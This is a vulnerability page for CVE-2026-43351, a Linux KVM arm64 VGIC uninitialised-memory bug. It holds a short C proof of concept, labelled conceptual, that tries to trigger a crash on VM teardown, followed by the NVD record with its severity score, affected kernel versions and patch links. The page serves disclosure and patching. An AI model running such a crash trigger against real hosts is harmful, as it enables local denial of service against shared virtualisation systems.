CVE-2026-43351

/* * PoC for CVE-2026-43351 (Conceptual) * Triggering the uninitialized memory access in KVM arm64 VGIC. */ #include <linux/kvm.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> int main() { int kvm_fd, vm_fd; struct kvm_device device; // 1. Open the KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // 2. Create a VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); close(kvm_fd); return 1; } // 3. Attempt to create the VGIC device // Note: To reliably trigger the bug, specific memory pressure or internal // conditions might be required to make vgic_allocate_private_irqs_locked fail. device.type = KVM_DEV_TYPE_ARM_VGIC_V3; device.fd = 0; device.flags = 0; // This calls kvm_vgic_create. If it fails partially, // dist->rd_regions remains uninitialized. if (ioctl(vm_fd, KVM_CREATE_DEVICE, &device) < 0) { perror("KVM_CREATE_DEVICE (VGIC)"); // 4. Closing the VM triggers kvm_vgic_dist_destroy // which accesses the uninitialized rd_regions -> Crash/Kernel Panic } // Cleanup (Triggering the vulnerable path if creation failed) close(vm_fd); close(kvm_fd); return 0; }

{"cve": {"id": "CVE-2026-43351", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:45.830", "lastModified": "2026-05-15T19:31:35.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Eagerly init vgic dist/redist on vgic creation\n\nIf vgic_allocate_private_irqs_locked() fails for any odd reason,\nwe exit kvm_vgic_create() early, leaving dist->rd_regions uninitialised.\n\nkvm_vgic_dist_destroy() then comes along and walks into the weeds\ntrying to free the RDs. Got to love this stuff.\n\nSolve it by moving all the static initialisation early, and make\nsure that if we fail halfway, we're in a reasonable shape to\nperform the rest of the teardown. While at it, reset the vgic model\non failure, just in case..."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.14.1", "versionEndExcluding": "6.18.19", "matchCriteriaId": "3C438BBD-7512-4EAA-A4F7-F70BE0D53B5F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:-:*:*:*:*:*:*", "matchCriteriaId": "7DE421BA-0600-4401-A175-73CAB6A6FB4E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:rc3:*:*:*:*:*:*", "matchCriteriaId": "66619FB8-0AAF-4166-B2CF-67B24143261D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:rc4:*:*:*:*:*:*", "matchCriteriaId": "D3D6550E-6679-4560-902D-AF52DCFE905B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:rc5:*:*:*:*:*:*", "matchCriteriaId": "45B90F6B-BEC7-4D4E-883A-9DBADE021750"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:rc6:*:*:*:*:*:*", "matchCriteriaId": "1759FFB7-531C-41B1-9AE1-FD3D80E0D920"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:rc7:*:*:*:*:*:*", "matchCriteriaId": "AD948719-8628-4421-A340-1066314BBD4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/a24f1d80fbcdbf8b2a7044a00fa12b3972b4c31c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ac6769c8f948dff33265c50e524aebf9aa6f1be0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b7493f48c3dba75674a4ee505b4afa8fe5102457", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}